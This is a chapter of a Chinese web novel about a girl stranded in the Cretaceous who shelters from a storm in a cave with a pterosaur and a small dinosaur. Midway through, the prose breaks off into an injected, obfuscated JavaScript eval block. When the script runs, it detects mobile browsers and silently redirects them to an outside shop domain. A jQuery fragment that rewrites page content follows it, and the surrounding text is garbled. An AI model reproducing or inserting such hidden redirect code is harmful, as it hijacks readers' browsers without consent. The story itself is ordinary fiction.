林小禾已经不精确数日子了。
蕨类植物的叶子从嫩绿变成了深绿，又从深绿开始微微卷边——像是在提醒她，夏天快过去了。洞口那棵她叫不出名字的小树，前阵子还开着小黄花，现在花落了，结出一串串青绿色的小果子，硬邦邦的，咬一口涩得她直皱眉。
她来这里，大概快一个月了。
一个月。三十天。七百二十个小时。
她有时候会想，现代的三十天，是怎么过的？林小北有没有找到她？妈妈有没有哭？爸爸有没有请假去找她？大哥有没有从学校赶回来？
她不敢想太深。想深了，心会疼。
“又发呆了。”她拍了拍自己的脸，“林小禾，干活。”
---
今天是第几天来着？
她想了想，大概是第二十四天。不对，第二十五？算了，不重要。
重要的是——天不对劲。
早上醒来的时候，她就觉得光线不对。不是那种清晨的、温柔的、带点金色的光，而是一种灰蒙蒙的、像隔了一层纱的光。她爬到洞口往外看，天空没有云，但就是不透亮，像有什么东西蒙在上面，把阳光过滤得只剩下三分。
“绒绒。”她转头看石头上站着的白色翼龙，“今天是不是要下雨？”
绒绒歪头，看了看天空。它的动作比平时慢，脖子一点一点地转，像在仔细辨认什么。然后它发出一声短促的咕噜——那声音听起来不太高兴，带着一种她很少听到的低沉。
它的脖子绷得直直的，羽毛微微炸开，像是在警惕什么。
“你也不喜欢这种天气？”林小禾走过去，伸手摸了摸绒绒的脖子。
绒绒没有像平时那样把脑袋靠过来，而是继续保持那个姿势，看着远处的平原。它的眼睛在黑灰色的天空下显得格外亮，像两颗被擦亮的黑曜石。
林小禾顺着它的视线看过去。
平原上，鸭嘴龙群不见了。
昨天还在那里吃草的一大群——至少几百只，密密麻麻像一片棕色的地毯——今天一只都没有了。草地上空荡荡的，只有风吹过时掀起的一层层绿色波浪。那些波浪在灰蒙蒙的光线下泛着暗绿色的光，像一片不安的海。
“它们走了？”她皱了皱眉，“去哪儿了？”
绒绒没有回答。它只是安静地看着那个方向，翅膀微微张开了一点。
小角从洞里爬出来。
它的动作比平时快。以前它出来的时候，总是先伸个懒腰，把前腿往前伸，屁股撅起来，然后再慢吞吞地站起来。今天它没有。它直接从蕨叶床垫上爬起来，四只脚踉跄了一下就冲到了洞口，嘴里还叼着半根没嚼完的蕨类嫩芽。
它站在洞口，看着平原，嘴里的嫩芽也不嚼了。
然后它发出一声短促的“咩”，走过来，把头拱进林小禾怀里，不动了。
“小角，你怎么了？”她摸了摸小角的头。
小角没有像平时那样用头蹭她的手。它只是把脑袋埋在她怀里，身体微微发抖。它的呼吸很快，鼻子里发出急促的“呼呼”声，像是在闻什么味道。
“你害怕？”她蹲下来，抱住小角的头，“怕什么？下雨而已。”
小角没有回答。它把身体缩得更紧了，圆滚滚的身体像一个棕色的球，四条腿都收拢在身体下面。
绒绒从石头上飞下来，落在她旁边，用喙碰了碰她的手，然后朝树林的方向歪了歪头。
“你要我跟你走？”
绒绒又歪了歪头，然后展开翅膀，飞了起来。它没有像平时那样直接冲上天空，而是在洞口盘旋了一圈，像是在等她。
“小角，走。”她拍了拍小角的背。
小角不情不愿地从她怀里出来，跟在她后面。她们沿着树干斜坡滑下去，绒绒在前面飞，每飞几十米就停下来，落在树枝上或石头上，回头看看她们，确认跟上了，再继续往前。
这不像平时的飞行。平时绒绒飞得很快，有时候她还没反应过来它就不见了。今天它飞得很慢，像是在带路，又像是在巡逻。
走了大概十分钟，绒绒落在一棵大树旁边，用喙指了指树根的位置。
林小禾走过去一看——树根下面有一个洞。不大，黑漆漆的，洞口大概有她两个拳头那么大，里面堆着一些干枯的树叶和树枝，还有一些脱落的白色羽毛。
“这是……你以前住的地方？”
绒绒歪头，然后用喙从洞里叼出一根干树枝，放在她脚边。树枝是枯死的，一碰就断，但很干，一点水分都没有。
“你要我囤柴火？”她愣了一下，“你担心下雨了没柴烧？”
绒绒又叼了一根，放在她脚边，然后歪头看着她，眼睛亮晶晶的。
“绒绒，你太聪明了吧！”她蹲下来，摸了摸绒绒的头，“你是在提醒我，要多准备点柴火对不对？”
绒绒发出得意的咕噜声，喉咙里像在冒泡。
“行，我知道了。今天不叉鱼了，捡柴火。”
---
她回到洞里，把鱼篓里的鱼处理了一下——还有三条，够今天吃的。然后把鱼篓吊在洞口内侧，确保雨水不会溅到。
然后她带着小角和绒绒，在树林里捡了一上午的柴火。
小角今天没有偷懒。不是因为它变勤快了，而是因为它不想待在洞里——洞里太闷了，连它都感觉到了那种压抑的气压。它跟在林小禾后面，一趟一趟地叼树枝，虽然每次只叼一根，而且叼到一半就放下，去啃路边的草，但只要她一喊“小角，干活”，它就又叼起来继续走。
“小角，你今天表现不错。”林小禾拍了拍它的头，“奖励你一根小角薯。”
小角听到“小角薯”三个字，眼睛亮了，嘴里的树枝“啪嗒”掉在地上，然后用头拱她的手，发出一声急切的“咩”。
“你别急，回去给你烤。”
小角又拱了拱。
“知道了知道了，回去就烤。”
绒绒从空中落下来，嘴里叼着一大捆树枝——它学会了一次叼多根，虽然看起来有点费劲，喙被撑得合不拢，但它很得意。它把树枝放在柴火堆上，歪头看着林小禾，翅膀轻轻扇了两下，像是在说“你看我多厉害”。
“绒绒最厉害。”林小禾竖起大拇指，“你是捡柴火冠军。”
绒绒满意地咕噜了一声，又飞走了。
一上午，她们捡了整整一大堆柴火，堆在洞口旁边，比她们之前囤的还要多一倍。
“够了够了。”林小禾朝绒绒喊，“再捡就没地方放了。”
绒绒落下来，歪头看了看那堆柴火，又看了看天空，然后发出一声短促的咕噜——像是在说“还不够”。
“还不够？你觉得雨会下很久？”
绒绒歪头，没有回答。但它又飞走了，继续叼树枝回来。
林小禾看了看天空。还是那种灰蒙蒙的、不透亮的样子。没有太阳，没有云，就是一片灰。像有一块巨大的灰色布幔，把整个天空罩住了。那种灰不是乌云的黑灰，而是一种病态的、发白的灰，像死鱼的眼睛。
“行，再捡一点。”她叹了口气，“听你的。”
---
下午，她开始整理柴火。
她把柴火按粗细分类：细的放在一起，用来引火；中的放在一起，用来烧火；粗的放在一起，留着晚上烧，能烧久一点。她蹲在洞口，一根一根地分，手被树枝划了好几道口子，但她没在意。
小角趴在她旁边，嘴里嚼着一根小角薯——她提前给它烤了两根，作为上午劳动的奖励。小角吃得很慢，眼睛半眯着，喉咙里发出那种粗犷的咕噜声，看起来非常享受。它的嘴角又冒出白色的汁液，顺着下巴滴在地上，引来几只小虫子。
绒绒站在石头上，没有打盹。
它一直看着远处的平原，脖子绷得直直的，羽毛微微炸开。风比上午大了一些，吹得它的羽毛轻轻飘动，但它一动不动，像一尊白色的雕塑。
“绒绒，你怎么了？”林小禾走过去，顺着它的视线看过去。
平原上什么都没有。没有鸭嘴龙，没有恐龙，连鸟都没有。草地空荡荡的，风比上午大了一些，吹得蕨类植物沙沙响，像无数只手在鼓掌。
但远处的地平线上，有一片黑压压的东西。
不是烟雾——她已经很久没看到烟雾了，上次看到还是好多天前，后来那缕烟雾就散了——而是像……乌云？不像普通的乌云，普通的乌云是灰黑色的，一团一团的。那片黑色是平的，从地平线这一头延伸到那一头，像一堵墙。
“要下雨了？”她喃喃自语。
绒绒发出一声低沉的咕噜。那种声音她从没听过——不是咕噜，更像是从喉咙深处挤出来的一种嗡鸣，带着震动。
林小禾的鸡皮疙瘩起来了。
她回到洞里，把兽皮背心紧了紧。
“小角，你今天别睡外面了，睡里面来。”
小角抬起头，嘴里还嚼着半根小角薯，歪头看着她。
“晚上可能要下大雨。你睡外面会淋湿。”
小角嚼了嚼，咽下去，然后站起来，慢慢走进洞里，在床垫旁边趴下来。它没有像平时那样把脑袋枕在她脚上，而是把头埋在身体下面，缩成一个球。
林小禾开始加固洞口。
她把蕨叶门帘加厚了一层——之前只有一层，现在她又在外面加了一层，用藤蔓绑紧。两层蕨叶之间留了一点空隙，既能挡雨又能透气。
她又用树枝和藤蔓在洞口搭了一个简易的雨棚。树枝插在岩缝里，上面铺了大片的蕨叶，像一把巨大的伞。
然后把柴火往里挪了挪，确保雨水不会溅到。又用石头在柴火周围围了一圈，防止被风吹散。
又把鱼篓从外面拿进来，吊在洞内靠里的位置，用绳子系在石笋上。
又把甜果子和剩下的几条鱼放在高处，用蕨叶盖好。
然后把储水的石坑接满——她从溪边一趟一趟地提水，跑了四五趟，胳膊都酸了。
“还有什么？”她站在洞里，环顾四周。
食物：三条鱼，十几根小角薯，一小堆甜果子。够吃两三天的。
柴火：一大堆，够烧四五天的。
水：石坑满了，够喝两天的。
门帘：两层，加雨棚。
“应该够了。”她自言自语，“不就是下雨嘛，又不是没见过。”
但她心里隐隐觉得不对。不是害怕，而是一种——本能的不安。像暴风雨前那种闷热、压抑的感觉，让人坐立不安。空气很重，像有人把一床湿被子盖在她身上，呼吸都不顺畅。
---
傍晚，天提前黑了。
不是太阳下山的那种黑，而是那种——乌云压顶、遮天蔽日的黑。
整个天空像被一块巨大的黑色幕布盖住了，只在地平线的边缘留出一道暗红色的缝隙，像燃烧的炭火，又像受伤的伤口。那种红色很诡异，不是晚霞的红，是血的红。
林小禾坐在洞口，抱着膝盖，看着那片黑色。
“好黑啊。”她轻声说，“比之前任何一次都黑。”
绒绒站在她旁边，翅膀微微展开，像是在给她挡风——虽然风还没来，但空气中有一种奇怪的味道，像泥土，又像金属，还带着一丝焦糊味。
小角把脑袋埋在她腿旁边，身体缩成一团。它的呼吸很快，鼻子里发出急促的“呼呼”声，身体时不时地抖一下。
“小角，别怕。”她伸手摸了摸小角的头，“我在呢。”
小角没有回应，只是把脑袋埋得更深了。
绒绒用喙碰了碰她的脸，然后发出一声温柔的咕噜——是在安慰她，不是在安慰小角。
“你也不怕对不对？”她看着绒绒，“你不怕，我也不怕。”
绒绒歪头，又咕噜了一声。
远处传来一声低沉的雷鸣。
不，不是雷鸣。是一种更沉闷的、像大地在呻吟的声音。从地平线那边传过来，穿过平原，穿过树林，撞在山壁上，嗡嗡地响，震得她胸腔都在发颤。
林小禾的鸡皮疙瘩全起来了。
“那是……雷？”
绒绒没有回答。它的眼睛盯着远处的黑色，羽毛炸得更开了，整个身体像膨胀了一圈。
又一声。这次更近，更响。然后是第三声，第四声，一声接一声，像天上的巨人在敲鼓。
然后，风来了。
不是那种温柔的风，而是一股蛮横的、带着凉意的、像有人在天上扇了一巴掌的风。它从平原那边扑过来，撞在山上，把蕨类植物吹得贴在了地上，把树枝吹得咔嚓响，把洞口的蕨叶门帘吹得噼里啪啦，有几片蕨叶直接被撕了下来，在空中旋转着飞走了。
林小禾被风吹得眯起了眼睛，头发糊了一脸。
“好大的风！”她用手挡住脸，“绒绒，进来！”
绒绒没有动。它站在洞口，迎着风，翅膀微微张开，像一面白色的旗帜。风把它的羽毛吹得向后翻，露出下面灰色的绒羽，但它一动不动。
“绒绒！进来！”
绒绒回头看了她一眼，然后用喙指了指洞里面——那意思是“你进去”。
“你进来我再进！”
绒绒歪头，然后又转回去，继续看着远处的黑色。
风越来越大。林小禾的衣服被吹得贴在身上，树皮草裙被吹得向上翻，她用手按住。她抓住洞口的岩石，才没有被吹倒。
小角已经吓得钻进了洞里最深处，缩成一个圆球，只露出两只黑褐色的眼睛，湿漉漉的，满是恐惧。
“小角，没事的。”她朝洞里喊，“就是风大，不会把你吹走的。”
小角发出一声颤抖的“咩”。
然后，雨来了。
不是一滴一滴下的，而是一整片砸下来的——像有人在天上倒了一盆水，“哗”的一声，天地之间就变成了一片白色。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17680390|207662||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
雨点打在岩石上，噼里啪啦；打在蕨叶上，啪啪啪啪；打在绒绒的羽毛上，发出一种沉闷的、像鼓点的声音。
林小禾往后退了两步，退到洞里。绒绒还站在洞口，翅膀完全展开了，像一把巨大的白色雨伞，挡住了大部分雨水。
“绒绒，你进来啊！你会淋湿的！”
绒绒没有动。它站在洞口，雨水顺着它的羽毛往下流，白色的羽毛变成了深灰色，贴在身上，露出身体的轮廓——它的骨头比她想得更瘦，翅膀的关节像一节一节的竹竿。它的身体微微发抖，但它的脚一动不动，爪子紧紧地抓着岩石。
林小禾冲过去，拉住绒绒的翅膀，把它往洞里拽。
“你给我进来！”
绒绒被她拽了一个趔趄，站稳后又往洞口走。
“绒绒！”她的声音带着哭腔，“你干嘛啊！雨淋多了会生病的！你翅膀还有伤没好利索！”
绒绒回头看了她一眼，然后看了看洞里的小角——小角缩在最里面，身体还在发抖，像一个棕色的毛球。
绒绒用喙指了指小角，又指了指洞外。
林小禾突然明白了。
绒绒不是在淋雨。它是在挡雨。它站在洞口，用翅膀挡住雨水，不让雨溅进洞里。因为小角害怕，因为洞里需要保持干燥，因为柴火不能被淋湿，因为火不能灭。
“你……你是在保护我们？”
绒绒歪头，发出一声短促的咕噜——像是在说“不然呢”。
林小禾的眼泪掉下来了。
“你傻不傻啊……”她哭着说，“你保护我们，谁来保护你啊？”
绒绒用喙碰了碰她的脸，雨水和眼泪混在一起，咸的，凉的，涩的。
“你进来。”她拉着绒绒的翅膀，声音很轻，但很坚定，“我们一起待在里面。雨不会溅进来的，洞口有岩石挡着，有雨棚，有门帘。你不用站在外面。”
绒绒歪头，似乎在犹豫。
“进来！”她用命令的语气说，这次声音大了。
绒绒终于动了。它慢慢退进洞里，站在洞口内侧。雨水还是溅进来一些，但少了很多。它的羽毛湿透了，水珠一滴一滴往下掉，在地上汇成一小滩，映出火光的倒影。
林小禾脱下兽皮背心——只剩里面的树皮内衬——把兽皮背心披在绒绒身上。背心不大，只能盖住绒绒的一小部分，但至少能挡住一些风。
“你先穿着。”她说，“我去生火。”
绒绒低头看了看身上的兽皮背心，发出一声疑惑的咕噜。
“别看了，保暖用的。虽然可能没什么用，但总比没有强。”
她走到柴火堆旁边，拿出打火机。
打火机打了几下没着——空气太潮湿了，打火石冒出的火星在潮湿的空气中还没落到引火绒上就灭了。她用手把打火机和引火绒捂热，再打，第三下着了。
火苗在潮湿的空气中挣扎了一下，像一只刚出生的雏鸟，摇摇晃晃，然后慢慢变大。她把干树枝堆上去，一点点，从细的开始，慢慢加粗，小心翼翼地吹气。
火终于烧起来了。
火光照亮了洞穴，驱散了一部分潮湿和寒冷。橙红色的光在洞壁上跳动，像无数只萤火虫。绒绒的羽毛在火光下从深灰色变回了浅灰色，虽然还是湿的，但至少不那么冷了。
小角从洞穴深处慢慢爬出来，靠近火堆。它在火堆旁边趴下来，把身体烤得暖洋洋的，发出一声舒服的“咩”。
“你看，有火了。”林小禾摸了摸小角的头，“不冷了吧？”
小角用头拱了拱她的手，然后把脑袋枕在她的脚上，这次终于不抖了。
绒绒也慢慢靠近火堆，把受伤的翅膀伸向火光。它的羽毛在热量中慢慢变干，一绺一绺的，像刚洗过的头发贴在身上。水汽从羽毛上升起来，在火光中变成一缕缕白色的雾气。
林小禾坐在火堆旁边，左边是绒绒，右边是小角。洞外暴雨如注，雷声隆隆，风把蕨叶门帘吹得噼里啪啦，雨水从缝隙里渗进来，在地上画出一道道细线。但洞里是暖的，干的，安全的。
“绒绒。”她说，“你刚才为什么要站在外面？”
绒绒歪头。
“你是不是觉得，你站在外面，雨就不会溅进来？”
绒绒歪头的角度变了。
“你觉得你是我们的伞？”
绒绒没有回答，但它的眼睛在火光中闪了一下，像两颗反射着火焰的黑曜石。
“绒绒。”林小禾的声音有点哽，“你不是伞。你是家人。家人不需要站在外面淋雨。家人应该待在一起。”
绒绒发出了一声温柔的咕噜，然后把脑袋靠在她肩膀上，羽毛蹭着她的脸，湿湿的，暖暖的。
“以后不许这样了。”她伸手摸了摸绒绒的头，“下雨就进来，一起躲。雨大了我们就把门帘加厚。实在不行就把柴火堆在洞口挡水。总会有办法的。但你不能再淋雨了。”
绒绒用喙碰了碰她的脸。
“你听到了没有？”
绒绒又碰了一下。
“行，你听到了。记住了啊。”
---
雨下了整整一夜。
林小禾没有睡。她坐在火堆旁边，听着洞外的雷声和雨声，看着火苗跳啊跳。她往火里加了一根又一根柴火，保持着火势。绒绒靠在她左边，已经睡着了，呼吸均匀，喉咙里偶尔发出一声低沉的咕噜。小角枕着她的脚，打着小呼噜，四条腿时不时蹬一下，像是在做梦。
她看着洞口的蕨叶门帘。门帘被风吹得鼓起来，雨水从缝隙里渗进来，但大部分被挡住了。洞里的柴火还是干的，食物还是好的，火还在烧。
“绒绒说得对。”她轻声说，“雨真的很大。”
她往火里加了一根柴火。火苗窜高了一点，发出噼啪的响声。
“林小北。”她对着火说，“你那边下雨了吗？”
“你妹这边下了好大的雨。风也大，雷也大。但是没关系，绒绒和小角都在。洞里是暖的。”
她笑了一下。
“你妹现在是一个洞穴守护者。”
“说出去谁信？”
她看了看绒绒，又看了看小角。
“但没关系。你们信就行。”
她闭上眼睛，靠着绒绒的身体。绒绒的羽毛已经干了大半，暖洋洋的，像一床被子。
“晚安，林小北。”
“晚安，绒绒。”
“晚安，小角。”
“明天雨应该会停吧？”
绒绒在睡梦中发出一声咕噜，像是在说“会的”。
小角打了个嗝。
林小禾笑了。
白垩纪，大概第二十四天。
下了好大的雨。绒绒站在洞口挡雨，被她骂进来了。
她们三个挤在洞里，烤火，取暖，等雨停。
雨很大，但洞里是暖的。
因为有火，因为有它们。